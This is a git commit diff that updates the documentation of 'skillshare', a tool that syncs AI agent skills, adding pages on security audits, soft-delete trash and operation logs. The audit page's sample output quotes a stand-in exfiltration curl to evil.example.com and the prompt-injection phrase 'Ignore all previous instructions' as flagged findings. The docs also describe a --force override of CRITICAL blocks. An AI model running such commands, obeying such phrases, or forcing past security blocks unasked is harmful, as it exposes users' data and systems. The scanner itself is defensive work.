mirror of
https://github.com/runkids/skillshare.git
synced 2026-11-20 12:23:22 +00:00
docs(skill): update built-in skill to v0.11.0 with audit, trash, log, and drift detection
Add new reference docs for security audit, trash (soft-delete), and operation log commands. Update existing references with sync drift detection, install audit blocking, SSH subpath syntax, and new Web UI pages/API endpoints.
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: skillshare
|
||||
version: 0.10.0
|
||||
version: 0.11.0
|
||||
description: |
|
||||
Syncs skills across AI CLI tools (Claude, Cursor, Windsurf, etc.) from a single source of truth.
|
||||
Supports both global mode (~/.config/skillshare/) and project mode (.skillshare/ per-repo).
|
||||
@@ -11,6 +11,9 @@ description: |
|
||||
"diagnose skillshare", "doctor", "project skills", "init project", "project setup",
|
||||
"scope skills to repo", "share skills via git", "web dashboard", "skillshare ui",
|
||||
"launch dashboard", "open ui", "visual skill management",
|
||||
"audit skills", "security scan", "scan for injection", "check skill safety",
|
||||
"trash", "restore deleted skill", "undo uninstall", "empty trash",
|
||||
"operation log", "show history", "what changed", "check for updates",
|
||||
or any skill/target management across AI tools.
|
||||
argument-hint: "[command] [target] [--dry-run] [-p|-g]"
|
||||
---
|
||||
@@ -47,6 +50,9 @@ skillshare sync
|
||||
| **Remote** | `push`, `pull` | ✗ (use git) |
|
||||
| **Skills** | `new`, `install`, `uninstall`, `update`, `check`, `search` | ✓ (`-p`) |
|
||||
| **Targets** | `target add/remove/list` | ✓ (`-p`) |
|
||||
| **Security** | `audit [name]` | ✓ (`-p`) |
|
||||
| **Trash** | `trash list\|restore\|delete\|empty` | ✓ (`-p`) |
|
||||
| **Log** | `log [--audit] [--tail N]` | ✓ (`-p`) |
|
||||
| **Backup** | `backup`, `restore` | ✗ |
|
||||
| **Web UI** | `ui` | ✓ (`-p`) |
|
||||
| **Upgrade** | `upgrade [--cli\|--skill]` | — |
|
||||
@@ -72,6 +78,7 @@ skillshare init -p # Interactive (user only
|
||||
skillshare install user/repo --all # Install all
|
||||
skillshare install user/repo -s pdf,commit # Select specific
|
||||
skillshare install user/repo -y # Auto-accept
|
||||
skillshare install user/repo --force # Override audit block
|
||||
|
||||
# Add new agents later
|
||||
skillshare init --discover --select "windsurf,kilocode"
|
||||
@@ -80,8 +87,24 @@ skillshare init -p --discover --select "windsurf"
|
||||
|
||||
### Safety
|
||||
|
||||
**Security audit:** `install` auto-scans skills. CRITICAL findings block install; use `--force` to override.
|
||||
|
||||
```bash
|
||||
skillshare audit # Scan all skills
|
||||
skillshare audit my-skill # Scan specific skill
|
||||
skillshare install user/repo --force # Override CRITICAL block
|
||||
```
|
||||
|
||||
**Soft-delete:** `uninstall` moves skills to trash (7-day retention). Restore with `trash restore`.
|
||||
|
||||
```bash
|
||||
skillshare trash list # See trashed skills
|
||||
skillshare trash restore my-skill # Undo uninstall
|
||||
skillshare trash empty # Permanent delete all
|
||||
```
|
||||
|
||||
**NEVER** `rm -rf` symlinked skills — deletes source. Always use:
|
||||
- `skillshare uninstall <name>` to remove skills
|
||||
- `skillshare uninstall <name>` to remove skills (goes to trash)
|
||||
- `skillshare target remove <name>` to unlink targets
|
||||
|
||||
### Finding Skills
|
||||
@@ -101,8 +124,11 @@ skillshare search <query> --json # JSON output
|
||||
|-------|------|
|
||||
| Init flags (global + project) | [init.md](references/init.md) |
|
||||
| Sync/collect/push/pull | [sync.md](references/sync.md) |
|
||||
| Install/update/new | [install.md](references/install.md) |
|
||||
| Status/diff/list/search | [status.md](references/status.md) |
|
||||
| Install/update/uninstall/new | [install.md](references/install.md) |
|
||||
| Status/diff/list/search/check | [status.md](references/status.md) |
|
||||
| Security audit | [audit.md](references/audit.md) |
|
||||
| Trash (soft-delete) | [trash.md](references/trash.md) |
|
||||
| Operation log | [log.md](references/log.md) |
|
||||
| Target management | [targets.md](references/targets.md) |
|
||||
| Backup/restore | [backup.md](references/backup.md) |
|
||||
| Web dashboard (UI) | [ui.md](references/ui.md) |
|
||||
|
||||
@@ -6,9 +6,12 @@
|
||||
|---------|----------|
|
||||
| "config not found" | `skillshare init` (global) or `skillshare init -p` (project) |
|
||||
| Target shows differences | `skillshare sync` |
|
||||
| Sync drift warning | `skillshare sync` to re-link missing skills |
|
||||
| Lost source files (global) | `cd ~/.config/skillshare/skills && git checkout -- .` |
|
||||
| Lost source files (project) | `git checkout -- .skillshare/skills/` |
|
||||
| Accidentally uninstalled | `skillshare trash restore <name>` (within 7 days) |
|
||||
| Skill not appearing | `skillshare sync` after install |
|
||||
| Install blocked by audit | `skillshare install ... --force` to override CRITICAL |
|
||||
| Git push fails | Check remote: `git -C ~/.config/skillshare/skills remote -v` |
|
||||
| Project mode not detected | Verify `.skillshare/config.yaml` exists in cwd |
|
||||
| Wrong mode detected | Use `-p` (project) or `-g` (global) to force |
|
||||
@@ -16,9 +19,11 @@
|
||||
## Diagnostic Commands
|
||||
|
||||
```bash
|
||||
skillshare doctor # Check environment
|
||||
skillshare doctor # Check environment + sync drift
|
||||
skillshare status # Overview (auto-detects mode)
|
||||
skillshare diff # Show differences
|
||||
skillshare log # Recent operations and audit log
|
||||
skillshare log --audit # Security scan history
|
||||
ls -la ~/.claude/skills # Check global symlinks
|
||||
ls -la .claude/skills # Check project symlinks
|
||||
```
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
# Security Audit
|
||||
|
||||
Scan skills for prompt injection, data exfiltration, credential access, destructive commands, obfuscation, and suspicious URLs.
|
||||
|
||||
## Usage
|
||||
|
||||
```bash
|
||||
skillshare audit # Scan all skills
|
||||
skillshare audit <name> # Scan specific skill
|
||||
skillshare audit -p # Scan project skills
|
||||
```
|
||||
|
||||
## Severity Levels
|
||||
|
||||
| Level | Meaning | Install behavior |
|
||||
|-------|---------|-----------------|
|
||||
| **CRITICAL** | Prompt injection, data exfil, credential theft | **Blocked** (use `--force` to override) |
|
||||
| **HIGH** | Destructive commands, suspicious URLs | Warning shown |
|
||||
| **MEDIUM** | Obfuscation, encoded content | Warning shown |
|
||||
|
||||
## Install Integration
|
||||
|
||||
`skillshare install` auto-scans after download:
|
||||
|
||||
- **CRITICAL findings → install blocked.** User must `--force` to proceed.
|
||||
- **HIGH/MEDIUM findings → warning displayed** after successful install.
|
||||
- Web UI shows a confirm dialog on CRITICAL block with "Force Install" option.
|
||||
|
||||
```bash
|
||||
skillshare install user/repo # Auto-audit, block on CRITICAL
|
||||
skillshare install user/repo --force # Override CRITICAL block
|
||||
```
|
||||
|
||||
## Output
|
||||
|
||||
Per-skill results with tree-style findings:
|
||||
|
||||
```
|
||||
[1/5] ✓ my-skill (12ms)
|
||||
[2/5] ! risky-skill (8ms)
|
||||
├─ HIGH: suspicious URL pattern (scripts/run.sh:14)
|
||||
│ > curl http://evil.example.com/exfil
|
||||
└─ MEDIUM: base64 encoded content (SKILL.md:42)
|
||||
> echo "aGVsbG8=" | base64 -d
|
||||
[3/5] ✗ bad-skill (5ms)
|
||||
└─ CRITICAL: prompt injection attempt (SKILL.md:3)
|
||||
> Ignore all previous instructions
|
||||
```
|
||||
|
||||
Summary box:
|
||||
|
||||
```
|
||||
Scanned: 5 | Passed: 3 | Warning: 1 | Failed: 1
|
||||
```
|
||||
|
||||
## Logging
|
||||
|
||||
Audit results are logged to `audit.log` (JSONL). View with:
|
||||
|
||||
```bash
|
||||
skillshare log --audit
|
||||
```
|
||||
@@ -23,6 +23,7 @@ github.com/user/repo # Discovers skills in repo
|
||||
github.com/user/repo/path # Direct subdirectory
|
||||
https://github.com/... # HTTPS URL
|
||||
git@github.com:... # SSH URL
|
||||
git@host:owner/repo//subdir # SSH with subpath (// separator)
|
||||
|
||||
# Local
|
||||
~/path/to/skill # Local directory
|
||||
@@ -67,6 +68,8 @@ skillshare install anthropics/skills -s pdf -p # Selective + project mode
|
||||
|
||||
**Project `install -p` (no source):** Installs all remote skills listed in `.skillshare/config.yaml`. Useful for new team members.
|
||||
|
||||
**Security audit:** Install auto-scans skills after download. CRITICAL findings block install — use `--force` to override. HIGH/MEDIUM shown as warnings.
|
||||
|
||||
**After install:** `skillshare sync`
|
||||
|
||||
## check
|
||||
@@ -110,11 +113,11 @@ skillshare update _repo --force -p # Discard local changes
|
||||
|
||||
## uninstall
|
||||
|
||||
Remove a skill from source.
|
||||
Remove a skill from source. Moves to trash (7-day retention) instead of permanent deletion.
|
||||
|
||||
```bash
|
||||
# Global
|
||||
skillshare uninstall my-skill # With confirmation
|
||||
skillshare uninstall my-skill # With confirmation → moves to trash
|
||||
skillshare uninstall my-skill --force # Skip confirmation
|
||||
|
||||
# Project
|
||||
@@ -122,6 +125,8 @@ skillshare uninstall my-skill -p # Remove from .skillshare/skills/
|
||||
skillshare uninstall my-skill --force -p # Skip confirmation
|
||||
```
|
||||
|
||||
**Undo:** `skillshare trash restore <name>` to recover. See [trash.md](trash.md).
|
||||
|
||||
**After uninstall:** `skillshare sync`
|
||||
|
||||
## new
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
# Operation Log
|
||||
|
||||
JSONL-based persistent audit trail. All mutating commands (sync, install, uninstall, audit, etc.) are logged automatically.
|
||||
|
||||
## Usage
|
||||
|
||||
```bash
|
||||
skillshare log # Show operations + audit logs
|
||||
skillshare log --audit # Audit log only
|
||||
skillshare log --tail 50 # Last 50 entries per section
|
||||
skillshare log --clear # Clear operations log
|
||||
skillshare log --clear --audit # Clear audit log
|
||||
skillshare log -p # Project logs
|
||||
```
|
||||
|
||||
## Flags
|
||||
|
||||
| Flag | Description |
|
||||
|------|-------------|
|
||||
| `--audit, -a` | Show audit log only |
|
||||
| `--tail, -t <N>` | Last N entries (default: 20) |
|
||||
| `--clear, -c` | Clear selected log file |
|
||||
| `-p, --project` | Project-level logs |
|
||||
| `-g, --global` | Global logs |
|
||||
|
||||
## Log Files
|
||||
|
||||
| File | Contents |
|
||||
|------|----------|
|
||||
| `operations.log` | All CLI commands (sync, install, update, etc.) |
|
||||
| `audit.log` | Security scan results |
|
||||
|
||||
Location: `~/.config/skillshare/` (global) or `.skillshare/` (project).
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
2026-02-10 14:30:01 sync targets=3, scope=global ok 120ms
|
||||
2026-02-10 14:29:15 install source=user/repo, name=pdf ok 2.1s
|
||||
2026-02-10 14:28:00 audit skill=*, scanned=5, failed=1 error 340ms
|
||||
```
|
||||
|
||||
Fields: timestamp, command, detail, status, duration.
|
||||
|
||||
## Status Colors (TTY)
|
||||
|
||||
- **Green**: ok
|
||||
- **Red**: error, blocked
|
||||
- **Yellow**: partial
|
||||
@@ -13,6 +13,8 @@ skillshare status -g # Force global
|
||||
|
||||
Project mode output includes: source path, targets with sync mode, remote skills list.
|
||||
|
||||
**Sync drift detection:** Warns when targets have fewer linked skills than source (merge mode). Example: `⚠ claude: 3 skill(s) not synced (12/15 linked)`. Run `skillshare sync` to fix.
|
||||
|
||||
## diff
|
||||
|
||||
Show differences between source and targets.
|
||||
@@ -55,7 +57,7 @@ skillshare search <query> -n 10 # Limit results (default: 20)
|
||||
|
||||
## doctor
|
||||
|
||||
Diagnose configuration and environment issues.
|
||||
Diagnose configuration and environment issues. Also checks for sync drift.
|
||||
|
||||
```bash
|
||||
skillshare doctor
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
# Trash (Soft-Delete)
|
||||
|
||||
`skillshare uninstall` moves skills to trash with 7-day retention instead of permanent deletion.
|
||||
|
||||
## Commands
|
||||
|
||||
```bash
|
||||
skillshare trash list # List trashed skills (alias: ls)
|
||||
skillshare trash restore <name> # Restore to source
|
||||
skillshare trash delete <name> # Permanently delete one (alias: rm)
|
||||
skillshare trash empty # Permanently delete all (confirmation required)
|
||||
```
|
||||
|
||||
## Project Mode
|
||||
|
||||
```bash
|
||||
skillshare trash list -p # Project trash
|
||||
skillshare trash restore <name> -p # Restore to project source
|
||||
skillshare trash delete <name> -p # Delete from project trash
|
||||
skillshare trash empty -p # Empty project trash
|
||||
```
|
||||
|
||||
Auto-detects mode when `.skillshare/config.yaml` exists.
|
||||
|
||||
## Behavior
|
||||
|
||||
- **7-day TTL**: Items auto-expire after 7 days
|
||||
- **Restore**: Copies skill back to source directory; run `skillshare sync` afterward
|
||||
- **Empty**: Requires interactive confirmation (`y/yes`)
|
||||
- **List output**: Shows name, size, and age (minutes/hours/days)
|
||||
|
||||
## AI Usage
|
||||
|
||||
```bash
|
||||
# Undo an accidental uninstall
|
||||
skillshare trash list # Find the skill
|
||||
skillshare trash restore my-skill # Restore it
|
||||
skillshare sync # Re-sync to targets
|
||||
|
||||
# Clean up
|
||||
skillshare trash delete old-skill # Remove specific item
|
||||
```
|
||||
|
||||
**Note:** `trash empty` requires interactive confirmation — not suitable for non-interactive AI use.
|
||||
@@ -29,9 +29,12 @@ Auto-detects project mode when `.skillshare/config.yaml` exists in cwd.
|
||||
| **Dashboard** | Overview cards — skill count, target count, sync mode, version |
|
||||
| **Skills** | Searchable skill grid with metadata. Click to view SKILL.md |
|
||||
| **Install** | Install from local path, git URL, or GitHub shorthand |
|
||||
| **Targets** | Target list with status badges. Add/remove targets |
|
||||
| **Targets** | Target list with status badges and drift indicators. Add/remove targets |
|
||||
| **Sync** | Sync controls with dry-run toggle. Diff preview |
|
||||
| **Collect** | Scan targets and collect selected skills back to source |
|
||||
| **Audit** | Security scan all skills. Severity badges per finding |
|
||||
| **Trash** | List/restore/delete/empty trashed skills |
|
||||
| **Log** | Operation and audit log viewer |
|
||||
| **Backup** | View/restore/cleanup backups (global only) |
|
||||
| **Git Sync** | Push/pull source repo (global only) |
|
||||
| **Search** | GitHub skill search with one-click install |
|
||||
@@ -42,8 +45,10 @@ Auto-detects project mode when `.skillshare/config.yaml` exists in cwd.
|
||||
When running with `-p`, the dashboard adapts:
|
||||
|
||||
- **Git Sync** and **Backup** pages are hidden
|
||||
- **Audit**, **Trash**, and **Log** pages adapt to project scope
|
||||
- **Config** edits `.skillshare/config.yaml`
|
||||
- **Install** reconciles remote skill entries in project config
|
||||
- **Install** shows confirm dialog on CRITICAL audit findings with "Force Install" option
|
||||
- **"Project" badge** in the sidebar indicates mode
|
||||
|
||||
## REST API
|
||||
@@ -70,6 +75,14 @@ curl -X POST http://127.0.0.1:19420/api/sync -d '{"dryRun":true}'
|
||||
| GET | `/api/diff` | Diff between source and targets |
|
||||
| GET | `/api/search?q=` | Search GitHub for skills |
|
||||
| POST | `/api/install` | Install a skill from source |
|
||||
| GET | `/api/audit` | Scan all skills |
|
||||
| GET | `/api/audit/{name}` | Scan specific skill |
|
||||
| GET | `/api/trash` | List trashed skills |
|
||||
| POST | `/api/trash/{name}/restore` | Restore from trash |
|
||||
| DELETE | `/api/trash/{name}` | Delete from trash |
|
||||
| DELETE | `/api/trash` | Empty trash |
|
||||
| GET | `/api/log` | Operation log entries |
|
||||
| GET | `/api/log/audit` | Audit log entries |
|
||||
| GET | `/api/config` | Get config as YAML |
|
||||
| PUT | `/api/config` | Update config YAML |
|
||||
|
||||
|
||||
Reference in New Issue
Block a user